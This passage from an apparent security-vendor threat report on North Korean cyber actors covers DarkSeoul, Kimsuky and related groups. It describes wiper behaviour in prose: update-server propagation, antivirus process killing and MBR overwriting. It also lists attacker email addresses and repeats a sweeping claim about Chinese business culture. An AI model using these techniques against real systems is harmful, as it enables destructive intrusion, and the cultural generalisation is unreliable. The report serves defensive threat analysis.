U.S. and South Korean military entities were also
targeted by DDoS during this attack.
The attack used the DarkSeoul malware.318 North Korea also
disrupted South Korean GPS signals.
Additionally, North Korean actors reportedly attempted a
DDoS attack against South Korea’s Incheon Airport that same month.319 These incidents coincided
with the annual U.S. – South Korea joint military exercises.320 The following month, North Korean
actors reportedly launched a DDoS attack against South Korea’s Nonghyup bank.321
In 2012, an attack on South Korean Newspaper JoongAng Ilbo was attributed to North Korean
actors.
This attack also coincided with the timing of the annual joint U.S. – South Korea military
exercises.322 In September 2012, North Korea signed a cyber treaty with Iran, agreeing the two
nations would collaborate to combat “common enemies” in cyberspace.323
The week of March 11, 2013, the U.S. and South Korea began their annual joint military exercise
near the Korean Peninsula.
Like clockwork, attacks attributed to North Korea and now known as
the March 20 attacks targeted three South Korean media outlets and Shinhan, Nonghyup, and Jeju
banks.
North Korea also exhibited other hostile activity at that time.
North Korea cut
communication with Seoul and announced it had scrapped the 1953 armistice between the two
Koreas.
North Korea’s foreign ministry also issued a statement that it perceived this exercise as a
precursor to invasion and that the regime would respond with a “strong military counteraction” if
the situation escalated.324 That same week, the North Korean military conducted a drone attack
simulation.325
On March 18, the Uriminzokkiri YouTube channel posted an anti-U.S. video entitled “Firestorms
Will Rain on the Headquarters of War” that showed a depiction of the White House in crosshairs,
followed by an explosion.326
314
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
315
http://powerofcommunity.net/poc2009/si.pdf
316
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
317
http://www.armscontrol.org/factsheets/dprkchron
318
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
319
http://threatpost.com/report-north-korea-accused-ddos-attack-south-korean-airport-060712/76664
320
http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503
321
http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629
322
http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix6-
1226391202749
323
http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware
324
http://www.presstv.com/detail/2013/03/20/294499/north-korea-threatens-us-over-bombers/
325
http://www.huffingtonpost.com/2013/03/20/north-koreas-drone_n_2914794.html
326
https://www.youtube.com/watch?v=Dyap eCiOl9A
Figure 25 Uriminzokkiri YouTube video portraying anti-U.S. sentiments.
327
In May 2013, DarkSeoul malware was used to attack several South Korean financial institutions;
and in June, DarkSeoul DDoS attacks were launched against the South Korean government’s DNS
server.
The latter took place on June 25, the anniversary of the start of the Korean War.328
As evidenced above, much of North Korea’s cyber activity coincides with the annual U.S. – South
Korea joint military exercises.
Attacks not following that pattern were typically in response to
political events impacting the regime or correlated with significant dates, such as the anniversary
of the start of the Korean War.
The regime’s strategic assets and tactical capabilities in the cyber
arena seem to have evolved only slightly since 2009.
Most of the attacks attributed to North
Korea employ limited tactics, and their operational capability demonstrates an increase in the
frequency and volume of attacks but is otherwise unimpressive to date.
In June 2014, the regime demanded cancellation of the annual U.S. - South Korea joint military
exercise, attempting to use participation in the upcoming Asian Games as a bargaining chip.329 The
regime’s demands may have had other political motivations, as they preceded the July 2014
meeting between South Korean president Park and Chinese President Xi Jinping.
The meeting
327
https://www.youtube.com/watch?v=DyapeCiOl9A
328
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
329
http://www.theguardian.com/world/2014/jun/30/north-korea-demands-cancellation-drills
centered on trade and regional security issues, including the ever-present rhetoric around
denuclearization of North Korea.330 Both leaders were critical of Japan’s recent announcement to
soften sanctions on North Korea.331 As this report headed to press, the annual U.S. – South Korea
joint military exercises were underway.332
DarkSeoul
The most prominent North Korean threat actor group is the group responsible for the DarkSeoul
malware.
According to statements from the South Korean government, North Korea’s Lab 110
were the actors behind the DarkSeoul malware.
South Korean intelligence reports
According to statements
stated that Lab 110, which is affiliated with the regime’s defense ministry, was       from the South Korean
ordered by the North Korean regime to destroy South Korean communications              government, North
networks.333 Although the March 20 attacks used DarkSeoul malware, it is interesting   Korea’s Lab 110 were the
to note that two groups, WhoIs Team and New Romantic Cyber Army Team, claimed          actors behind the
DarkSeoul malware
responsibility for the “March 20” 2013 attacks on South Korean media and financial
attacks.
institutions.334
Some of the DarkSeoul attacks corresponded with significant dates, such as U.S.
Independence
Day or the anniversary of the start of the Korean War.
DarkSeoul attacks go beyond denial of
service and sabotage.
As early as 2009, the group responsible for the Dark Seoul attacks
launched “Operation Troy”, an espionage campaign targeting the South Korean military.
The
operation was codenamed “Troy” due to the frequent use of the word “Troy” in the malware’s
compile path strings.335 The malware used in these attacks sought out and exfiltrated data, based
on keyword searches.
While the malware was clearly intended to search for and exfiltrate certain
types of data, its true impact on the targets was never revealed.
336 The March 2011 “10 Days of
Rain” DDoS attacks on U.S. and South Korean sites have also been attributed to the actors
associated with DarkSeoul.337 According to Symantec, the politically motivated attacks have
required a level of intelligence, coordination, monetary support, and technical sophistication that
suggests state sponsorship.338 This designation means the group can be considered an advanced
persistent threat (APT).
A March 20, 2013 attack attributed to the DarkSeoul actors targeted three South Korean media
outlets and Shinhan, Nonghyup, and Jeju banks.
The impact of the March 20 attacks included
disruption of service at financial institutions and data deletion.
However, the targeted entities
resumed normal operations shortly thereafter.339 According to South Korean reports, the media
outlets targeted corresponded with those listed by the North Korean regime in 2012 as right-wing
press that manipulated South Korea’s public opinion.
In April 2012, the regime reportedly listed
330
http://edition.cnn.com/2014/07/02/world/asia/south-korea-xi-visit/index.html?hpt=hp_bn7
331
http://mobile.nytimes.com/blogs/sinosphere/2014/07/07/q-and-a-john-delury-on-chinese-south-korean-ties/?smid=tw-share
332
http://www.globalpost.com/dispatch/news/yonhap-news-agency/140825/n-korea-urges-un-action-against-s-korea-us-military-drill
333
http://www.theguardian.com/world/2009/jul/11/south-korea-blames-north-korea-cyber-attacks
334
http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/2
335
http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674?
336
http://motherboard.vice.com/blog/the-dark-seoul-hackers-were-after-south-korean-military-secrets
337
http://blogs.mcafee.com/wp-content/uploads/2011/07/McAfee-Labs-10-Days-of-Rain-July-2011.pdf
338
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
339
http://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html?pagewanted=all&_r=1&
those entities as attack targets.340 The malware used in the March 20, 2013 attacks were wiper
malware.
The malware attempted to disable AhnLab and Hauri AV antivirus products then
proceeded to overwrite the master boot record (MBR).
The attack was capable of wiping both
Linux and Windows machines.341 McAfee found that these attacks were the culmination of the
malware campaign they dubbed “Operation Troy”.342
A report from IssueMakersLab tied the actors responsible for the March 20, 2013 attacks to cyber
attack activity occurring as early as 2007.
IssueMakersLab found that these actors consistently
used the same 16-digit password for file compression, the same stage 1 C2 protocol, the same
collection keywords and encryption keys, and the same development path.343 According to South
Korea’s Korea Internet and Security Agency, the North Korean IP address 175.45.178.xx was
found scanning South Korean routes the month before the attacks,344 and the same IP was
reportedly logged as accessing one of the targets 13 times.345 Details of the March 20 attack also
suggested possible ties to China.
AlienVault suspected the Chinese exploit kit GonDad was used to
spread the malware, and the Korean domains serving the malware were registered using a
Chinese email address.
Additionally, researchers at AhnLab in South Korea noted a Chinese IP
address linked to the attacks.346
While no concrete evidence has been released that indicates Lab 110 was responsible for the
DarkSeoul attacks, the responsible group’s targets, TTP, and attack timing demonstrate a strong
pro-North Korean sentiment.
Known tactics, techniques and procedures
 Customized wiper malware347
 DDoS
 Multi-staged, coordinated attacks348
 Destructive payloads with politically significant trigger dates
 Use of politically themed strings when overwriting disk sectors
 Utilizing legitimate patching mechanisms to spread malware across corporate networks
 Encryption and obfuscation methods that have become their signature
 Repeated use of a specific webmail server
 Consistent C2 structures
 Antivirus disablement and evasion349
 Watering hole attacks
 Zero-days
 Spearphishing350
340
http://english.yonhapnews.co.kr/northkorea/2013/03/21/71/0401000000AEN20130321006700315F.HTML
341
http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/
342
http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674?
343
https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/preview?pli=1
344
http://english.yonhapnews.co.kr/national/2013/04/11/79/0301000000AEN20130411008351320F.HTML
345
http://www.darkreading.com/attacks-and-breaches/how-south-korea-traced-hacker-to-pyongyang/d/d-id/1109491?
346
http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/
347
http://news.sky.com/story/1108704/darkseoul-gang-behind-years-of-korea-hacking
348
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
349
http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/
350
http://www.infoworld.com/t/data-security/mcafee-uncovers-massive-cyber-espionage-campaign-against-south-korea-222245
Targets
    South Korean military
    U.S. sites
    Shinhan Bank
    Nonghyup Bank351
    Jeju Bank352
    Munhwa Broadcasting Corp.
    YTN
    Korea Broadcasting System353
    South Korean government DNS server
    South Korea financial institutions
WhoIs Team
WhoIs Team is one of two groups that claimed responsibility for the “March 20” attacks targeting
South Korea.
A defacement on the LG +U webpage stated that it was “Hacked by WhoIs Team”
and that the attackers would return.
The page featured three skulls.354 However, no other attacks
by WhoIs Team have been observed.
351
http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503
352
http://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html?pagewanted=all&_r=1&
353
http://www.businessweek.com/news/2013-03-20/s-dot-korea-hit-by-cyber-attack-roiling-banks-to-broadcasters
354
http://www.zdnet.com/massive-attack-on-lg-uplus-sparks-n-korea-reprisal-fears-7000012881/
Figure 26 A defacement by “WhoIs Team” 355
Known tactics, techniques, and procedures
 Wiper malware356
 Defacements
Targets
    Took credit for an attack on the LG +U website.
355
http://nakedsecurity.sophos.com/2013/03/20/south-korea-cyber-attack/
356
http://www.mcafee.com/sg/resources/white-papers/wp-dissecting-operation-troy.pdf
Associated actors
 dbM4st3r
 d3sign3r
 APTM4st3r
 s3ll3r
 vacc1nm45t3r
 r3cycl3r
Based on North Korea’s affinity for disinformation and counterintelligence, we must note the
distinct possibility that operatives claiming to be WhoIs Team are part of another group and that
the defacement was a false flag operation meant to pin blame on RAON_ASRT.
RAON_ASRT is a
South Korean white hat capture the flag (CTF) team, whose members also operate under the
name “WhoIs”.357
l
Figure 27 A screenshot showing that South Korea’s RAON_ASRT white hat CTF team also uses the
moniker WhoIs.358
RAON_ASRT (the RaonSecure Advanced Security Research Team) and its sub-teams WhoIs Team
and Cpark Team359 have participated in and performed well in CTF contests such as the one
hosted by DefCon.
360 In 2013, a member of RAON_ASRT was invited to Blue House, the residence
of the South Korean president, to meet with president Park and discuss the security industry.361
RAON_ASRT runs the Secuinside CTF competition.362 Their parent organization RaonSecure
operates a whitehat training program.363 The group also runs the Korea WhiteHat Contest, which
is hosted by South Korea’s Ministry of National Defense and National Intelligence Service and
357
https://ctftime.org/team/3206
358
https://ctftime.org/team/3206
359
http://ls-al.org/asrt-has-become-the-winner-of-codegate-2013/
360
http://blog.raonsecure.com/62
361
http://ls-al.org/asrt-researcher-meets-the-president-park-in-korea/
362
http://ls-al.org/asrt-runs-secuinside-ctf/
363
http://www.whitehat.co.kr/
supervised by South Korean Cyber Command.364 For these reasons, it seems unlikely that the
RAON_ASRT WhoIs Team would maliciously target South Korean entities.
IsOne
IsOne is the group that claimed responsibility for the June 2012 attack on the website of South
Korean newspaper JoongAng Ilbo.
The attack included an attempt to wipe JoongAng Ilbo’s servers
as well as a defacement depicting a laughing cat.
Despite efforts to wipe the target’s servers, the
target only suffered defacement and temporary downtime.365
Figure 28 Defacement by “IsOne”.
366
Although the groups have a similar name and both use a cat theme, it is unclear whether a CTF
team known as “The Cat is Number 1” and IsOne are the same actors.
“The Cat is Number 1”
members claim to hail from North Korea, but there is no hard evidence linking team members to
364
http://ls-al.org/%EB%8C%80%ED%95%9C%EB%AF%BC%EA%B5%AD-%ED%99%94%EC%9D%B4%ED%8A%B8%ED%96%87-
%EC%BD%98%ED%85%8C%EC%8A%A4%ED%8A%B8korea-whitehat-contest-%EA%B0%9C%EC%B5%9C/
365
http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629
366
http://bad-bytes.blogspot.co.uk/2012/06/joongang-ilbo-cyber-attack.html
the region.367 Again, it seems that the actors responsible for the attack borrowed the moniker of
another group.
Figure 29 A screenshot of “The Cat is Number One” profile on CTF Time 368
According to South Korea’s National Police Agency, the attack on JoongAng Ilbo shares
characteristics with previous attacks attributed to North Korean actors.
An investigation
conducted by the agency’s Cyber Terror Response Center found that the actors targeting
JoongAng Ilbo used two North Korean servers and 17 servers in 10 other countries.
One server
maintained a constant connection to an IP address belonging to Joson Telecommunication
Company, which is affiliated with North Korea’s Ministry of Posts and Telecommunications.
Investigators found that one of the servers used in the attack on JoongAng Ilbo was also used in
the March 2011 DDoS attacks on South Korean critical infrastructure sites and the April 2011
attack on Nyongyup Bank.369
Known tactics, techniques and procedures
 Wiper malware
 Defacements
Targets
     Took credit for defacing JoongAng Ilbo.
367
https://ctftime.org/team/2538
368
https://ctftime.org/team/2538
369
http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629
Kimsukyang
The Kimsuky malware, which targeted South Korean think tanks, is loosely attributed to an actor
referred to as Kimsukyang.
Little is known about the actor or group responsible for the malware.
However, the following email addresses are associated with the Kimsuky operation:370
    beautifl@mail.bg
    ennemyman@mail.bg
    fasionman@mail.bg
    happylove@mail.bg
    lovest000@mail.bg
    monneyman@mail.bg
    sportsman@mail.bg
    veryhappy@mail.bg
    iop110112@hotmail.com
    rsh1213@hotmail.com
The email address iop110112@hotmail.com was registered using the alias “kimsukyang”, and
rsh1213@hotmail.com was registered using the alias “Kim asdfa”.
Kaspersky found that the Kimsuky operation used 10 IP addresses in two Chinese provinces that
border North Korea: Jilin and Liaoning.371
Known tactics, techniques and procedures
 Malware with keylogger and data exfiltration capabilities
 Malware disables AhnLab security software372
Targets
    Sejong Institute
    Korea Institute for Defense Analyses (KIDA)
    Ministry of Unification
    Hyundai Merchant Marine
    The Supporters of Korean Unification373
New Romantic Cyber Army Team / Hastati
The New Romantic Cyber Army Team also took credit for the March 20, 2013 attacks.
McAfee
suspected New Romantic Cyber Army Team were responsible for Operation Troy and the resulting
March 20, 2013 attacks due to the group’s “frequent use of Roman and classical terms in their
370
http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT
371
http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/5
372
http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT
373
http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT
code.”374 It is unknown whether Hastati is an alternate name for the group or whether Hastati is
an individual actor within the group.
It is interesting to note that the malware associated with these actors uses the strings “HASTATI”
and “PRINCIPES” to overwrite the MBR.
The name Hastati likely refers to a class of infantrymen of
the early Roman Republic.
The Hastati were less experienced soldiers who fought on the
frontlines with spears and swords.
Principes likely refers to more experienced Roman soldiers
who fought on the second line of battle.
375
Figure 30 Defacement by Hastati.376
Known tactics, techniques and procedures
 Wiper malware
Targets
    KBS TV377
    Entities targeted in Operation Troy378
Malware summary
HP researchers had previously analyzed samples of the DarkSeoul dropper, and findings were
published in our annual HP Cyber Risk Report 2013.
Analysis of this malware is included in
Appendix C. Analysis of additional malware used in these campaigns produced no new findings
and only corroborated what was found by external security researchers.
These publicly available
analyses have been cited throughout the report.
Some of the malware samples were no longer
publicly available.
However, CrowdStrike obtained these missing samples before they
disappeared from the wild and conducted thorough analysis, which was released in their
subscription-only reports.
While we cannot divulge detailed information from those reports, an
overview of the findings is provided below.
374
http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674?
375
http://www.roman-empire.net/army/army.html#earlylegion
376
http://eromang.zataz.com/2013/04/02/dark-south-korea-total-war-review/
377
http://eromang.zataz.com/2013/04/02/dark-south-korea-total-war-review/
378
http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf
The majority of the malware used in cyber incidents attributed to North Korea were variations of
three types of malware: dropper, wiper, and IRC remote access trojan (RAT).
CrowdStrike’s
attribution of this malware to North Korean actors stemmed from two primary factors: Korean
language characters found in the binaries and the propensity to specifically target South Korean
entities.379
Dropper samples consistently targeted AhnLab Policy Center as a propagation method.
This
information is corroborated in a Black Hat Asia 2014 presentation by Fortinet researcher Kyle
Yang.380 CrowdStrike’s report also briefly noted the use of an update server vector.381 Yang
analyzed the malware's update config metadata and matched its format to the AhnLab Policy
Center.
To test its payload, Yang set up a server/client and executed the update through the
server.
As Yang had predicted, it wiped the client.382 While the method for initial compromise of
the update server is not noted in detail, CrowdStrike’s report cites “collateral information” that
suggests targeted email attacks were used to gain initial entry, and policy servers were then
compromised.
The upload server vector included a time-based logic bomb that allowed the wiper
to target a large number of systems, on a set time and date, with full permissions on all of the
targeted systems.383
According to CrowdStrike, the wiper malware was dropped on the systems as AgentBase.exe.
The
wiper used the Windows utility 'taskkill' to kill the processes pasvc.exe and clisvc.exe, which are
the main processes for the Ahnlab and Hauri antivirus applications.384 385 The wiper then
performed system reconnaissance, gathering drive information and operating system version.
Depending on the OS used, the wiper recursively deleted files on the file system, deleting the
Windows folder last.
It then overwrote the MBR with the strings "HASTATI", "PRINCPES",
"PRINCIPES", or "PR!NCPES”.386
While there are several variants of the wiper, all seem to have been used on the same date.
It is
unclear why multiple wiper variants with slightly differing behavior were used for the same
campaign.
One possible explanation is that multiple variants were used to minimize the
operational damage to the mission in the case of an early detection of one of the variants.
For
example, if one wiper variant was compromised or detected by antivirus or IDS signatures, the
other variants may have differed enough to remain undetected, still resulting in mission success.
According to CrowdStrike, a third malware component downloaded an IRC RAT from various
compromised websites.
This RAT is detected by Symantec as Backdoor.
Prioxer.
Prioxer has been
linked to other 2011 attacks on South Korea.
It is unclear whether these downloaders were
379
CrowdStrike Intelligence Report CSIR-13013
380
Yang, Kyle.
Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond.
Black Hat Asia, March 2014.
381
CrowdStrike Intelligence Report CSIR-13013
382
Yang, Kyle.
Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond.
Black Hat Asia, March 2014.
383
CrowdStrike Intelligence Report CSIR-13013
384
CrowdStrike Intelligence Report CSIR-13030
385
Yang, Kyle.
Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond.
Black Hat Asia, March 2014.
386
CrowdStrike Intelligence Report CSIR-13030
pushed out in the same update server vector as the wipers.
However, the two malware types both
use the same packer 'Jokra' and both contain the strings “HASTATI" and "PRINCPES”.387
Analysis
Based on the information above, we have identified strategic challenges that impact the
development of North Korea’s cyber warfare capabilities.
We have also noted relevant
implications:
•    The North Korean regime strictly controls all Internet infrastructure,388 meaning cyber
activity by dissidents or autonomous hacker groups are very unlikely.
In other words, any
cyber attacks originating in North Korea can be assumed to be state sponsored.
For this
reason, according to defectors, the regime’s cyber operators do not typically launch
attacks directly from within North Korea.
Instead, many regime-sponsored attacks are
launched from cells based in China, U.S., South Asia, Europe, and even South Korea.389
•    North Korea has a limited number of outgoing connections.390 For this reason, there is a
low probability of DDoS originating from within.
However, this does not preclude the use
of botnets with a local C2 server or the use of networks in third-party nations to launch
attacks.
As seen in the July 2009 attacks on South Korean and U.S. targets, North Korea
has leveraged networks in countries such as Austria, Georgia, Germany, and even South
Korea and the U.S., in order to launch cyber attacks.391 North Korea will likely be forced to
rely on third parties for quite some time, due to its lack of sufficient infrastructure for
launching large-scale CNO.
•    Several outward facing websites are hosted in China and other countries.
This implies two
possibilities: that North Korea’s infrastructure cannot handle a heavy incoming traffic load
392
or that the regime wants to separate the propaganda crafted for an outside target
audience from internally-focused propaganda.
This arrangement seems unlikely to
change in the foreseeable future.
•    North Korea is known to have unstable power supplies393, which limits scalability of the
regime’s current CNO capabilities.
This is another reason why expansion of CNO
capabilities using the nation’s own infrastructure seems unlikely in the foreseeable future.
•    North Korea is known to have monetary deficiencies,394 which further limit expansion of
infrastructure and CNO capabilities, at least without third-party aid.
North Korea continues
to rely heavily on China for sustainment.395
•    Although we see few instances of overt cyber operations, that North Korea reportedly
spends so much of its limited resources on training and equipping cyber operators speaks
volumes.
The human element of the regime’s cyber war program, at least, has potential.
387
CrowdStrike Intelligence Report CSIR-13013
388
http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf
389
http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/5
390
http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf
391
http://www.theguardian.com/world/2009/jul/11/south-korea-blames-north-korea-cyber-attacks
392
http://binarycore.org/2012/05/30/investigating-north-koreas-netblock-part-3-topology/
393
http://38north.org/2010/09/speak-loudly-and-carry-a-small-stick-the-north-korean-cyber-menace/
394
http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf
395
http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf
•     Sanctions against North Korea and export laws prohibit the sale of certain technologies to
the regime.396 In other words, in order to obtain the technology needed for a cyber
warfare program, the regime must improvise.
North Korea must develop its own
technology, manufacture technology using plans obtained via industrial espionage, or rely
on third parties to procure it for them.
However, the regime has historically failed in its
attempts of large-scale production of electronic components.
At present, North Korea
relies on China to provide much of its network hardware, including servers and routers.397
It is unlikely that North Korea will compromise on its nuclear program, meaning sanctions
will likely be longstanding, and the regime will have to continue to rely on third parties to
procure technology.
Cyber incidents attributed to North Korean actors seem to follow distinct patterns:
     According to reports by other researchers, the conventions and C2 structure used by
North Korean cyber actors show continuity and consistency over time.
     The majority of the incidents attributed to North Korean actors consistently used wiper
malware.
     Several of the incidents included defacements, with a different group taking credit each
time.
Additionally, little information or attack history was found about any of the groups,
aside from information acknowledged in this report.
These factors seem to indicate that a
single group may have been responsible for several attacks over time, using different
group names as a false flag.
     On more than one occasion, the malware included provisions to disable security software
made by South Korean security company AhnLab.
This detail strengthens the case that
the malware was written or modified to specifically target South Korean machines.
     The attacks followed an explicit pattern: most were around the time of U.S. – South
Korean joint military exercises, while the others fell on a significant date or were in
response to political events.
     The primary targets were South Korean and U.S. entities.
While these nations are
traditionally targeted by the regime, it is also possible that South Korean entities are quick
to attribute any attack on their infrastructure to North Korean actors.
In fact, in some
cases, South Korean reports were the only source of attribution.
Summary
Does North Korea have sufficient cyber infrastructure and cyber warfare capabilities to harm the
U.S. and its allies?
While North Korea’s cyber warfare capabilities pale in comparison to those of
wealthier nations, the regime has made significant progress in developing its infrastructure and in
establishing cyber operations.
The rate of this progress warrants a closer look at North Korea’s
motivations, TTPs, and capabilities.
As noted above, North Korea views the U.S. and South Korea
as its primary adversaries.
The U.S. and South Korea are high-tech nations with economies that
396
http://www.foxnews.com/world/2012/04/03/exclusive-cash-for-computers-is-un-busting-its-own-sanctions-in-north-korea/
397
http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4
depend heavily on technology.398 In contrast, North Korea does not have a high tech culture.
For
these reasons, we should not overestimate the regime’s advanced cyber capability, yet we should
never underestimate the potential impact of North Korea utilizing less advanced, quick-and-dirty
tactics like DDoS to cripple their high-tech targets.
Both government and corporate entities are
susceptible to being targeted by North Korean cyber attacks.
North Korean juche ideology places
the survival of the regime as its primary goal, and any perceived threat to the regime may be
targeted.
Several attacks on U.S. and South Korean government, financial, and critical
infrastructure entities have been attributed to North Korean origins..
These attacks were often
preceded by or occurred in conjunction with North Korea voicing negative sentiments about the
targeted entities.
As we saw with Iranian cyber actors in HPSR Security Briefing Episode 11,399
state sponsored cyber actors often launch an attack in response to a political trigger.
The same
pattern seems to apply to pro-North Korean cyber actors, who have launched attacks to coincide
with U.S.
Independence Day and the anniversary of the start of the Korean War, as well as
propaganda and cyber attacks in response to joint military exercises between the U.S. and South
Korea.400 401
As shown by North Korea's past behavior (which is consistent with their doctrine), they are easily
"pushed into a corner".
At the slightest perceived threat, the regime responds with saber-rattling
and peacocking.
The regime is extremely defensive and will, in turn, flex its muscles to show the
world how capable it is, even if this is an inaccurate display of their overall capabilities.
The regime fears losing its control and the nation’s culture to the ever-growing threat of outside
influence, as is evidenced in the regime’s reaction to the comedy film “The Interview”.
The regime
has represented itself to its citizens as a powerful and capable entity and has used this status to
control the populace.
For this reason, the regime’s leaders are forced to continually demonstrate
this strength and power, or an illusion thereof, both domestically and globally, in order to
maintain the status needed to ensure continued suppression of the population.
This show of
power may require that the regime takes chances and stretches beyond its abilities at times, but
in the spirit of juche and songun, the regime will continue this façade, fearful of losing the image
its leaders have worked so hard to maintain.
HP Security Research recommendations
North Korean cyber operations are not generally observed originating from home field IP address
space, so geo-IP based blocking of traffic originating from those net-blocks is ineffective.
398
http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH2.pdf
399
http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243#.U5HkbpRdV90
400
http://www.zdnet.com/south-korea-braces-for-norths-cyberattacks-7000012587/
401
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
Given that North Korea has capable and technically trained forces and will demonstrate their
power when they feel provoked, western entities should consciously avoid promoting ideas or
doctrine that is blatantly slanderous to the regime.
Encouraging such ideas could cause those
entities to become a focal point for North Korean cyber attacks.
Due to the fact that North Korean infrastructure is aging and its resources are not able to keep up
with the rest of the world, entities with interesting R&D or IP (intellectual property) - especially
military in nature – could become targets of interest for North Korea.
Interest in defense-related
IP and R&D could also stem from North Korea’s relationship with China.
In the Chinese business
culture, taking another entity’s IP or R&D is not stealing – it is accepted as business as usual.
It is
possible that North Korea, if under Chinese influence, would adopt the same attitude, given the
regime’s limited capacity for homegrown innovation.
Known DPRK targets have been limited primarily to South Korean and U.S. organizations and
government entities.
For these targets, prudent measures should include:
   Following traditional defense in depth approaches and security best practices
   Monitoring for malware that disables Korean language antivirus software, such as
that from AhnLab
   To protect against the attack vectors used in North Korean malware campaigns,
an advisable prevention tactic is to focus on hardening update/patch
management systems.
These systems are appealing targets due to the potential
for a large impact
Appendix A – WHOIS records
WHOIS record for silibank.net:
Domain Name: silibank.net
Registry Domain ID:
Registrar WHOIS Server: whois.discount-domain.com
Registrar URL: http://www.onamae.com
Updated Date: 2014-03-11 17:27:55.0
Creation Date: 2006-03-13 13:14:53.0
Registrar Registration Expiration Date: 2015-03-13 03:14:53.0
Registrar: GMO INTERNET, INC.
Registrar IANA ID: 49
Registrar Abuse Contact Email: abuse@gmo.jp
Registrar Abuse Contact Phone:
Domain Status: ACTIVE
Registry Registrant ID:
Registrant Name: Whois Privacy Protection Service by MuuMuuDomain
Registrant Organization: Whois Privacy Protection Service by MuuMuuDomain
Registrant Street1: 2-7-21 Tenjin Chuo-ku
Registrant Street2: Tenjin Prime 8F
Registrant City: Fukuoka-shi
Registrant State/Province: Fukuoka
Registrant Postal Code: 810-0001
Registrant Country: JP
Registrant Phone: 81-927137999
Registrant Phone Ext:
Registrant Fax: 81-927137944
Registrant Fax Ext:
Registrant Email: privacy@whoisprivacyprotection.info
Registry Admin ID:
Admin Name: Whois Privacy Protection Service by MuuMuuDomain
Admin Organization: Whois Privacy Protection Service by MuuMuuDomain
Admin Street1: 2-7-21 Tenjin Chuo-ku
Admin Street2: Tenjin Prime 8F
Admin City: Fukuoka-shi
Admin State/Province: Fukuoka
Admin Postal Code: 810-0001
Admin Country: JP
Admin Phone: 81-927137999
Admin Phone Ext:
Admin Fax: 81-927137944
Admin Fax Ext:
Admin Email: privacy@whoisprivacyprotection.info
Registry Tech ID:
Tech Name: Whois Privacy Protection Service by MuuMuuDomain
Tech Organization: Whois Privacy Protection Service by MuuMuuDomain
Tech Street1: 2-7-21 Tenjin Chuo-ku
Tech Street2: Tenjin Prime 8F
Tech City: Fukuoka-shi
Tech State/Province: Fukuoka
Tech Postal Code: 810-0001
Tech Country: JP
Tech Phone: 81-927137999
Tech Phone Ext:
Tech Fax: 81-927137944
Tech Fax Ext:
Tech Email: privacy@whoisprivacyprotection.info
Name Server: ns1.dns.ne.jp
Name Server: ns2.dns.ne.jp
WHOIS Record for kcna.kp:
inetnum:       175.45.176.0 - 175.45.179.255
netname: STAR-KP
descr: Ryugyong-dong
descr: Potong-gang District
country: KP
admin-c: SJVC1-AP
tech-c: SJVC1-AP
status: ALLOCATED PORTABLE
mnt-by: APNIC-HM
mnt-lower: MAINT-STAR-KP
mnt-routes: MAINT-STAR-KP
remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
remarks: This object can only be updated by APNIC hostmasters.
remarks: To update this object, please contact APNIC
remarks: hostmasters and include your organisation's account
remarks: name in the subject line.
remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
mnt-irt: IRT-STAR-KP
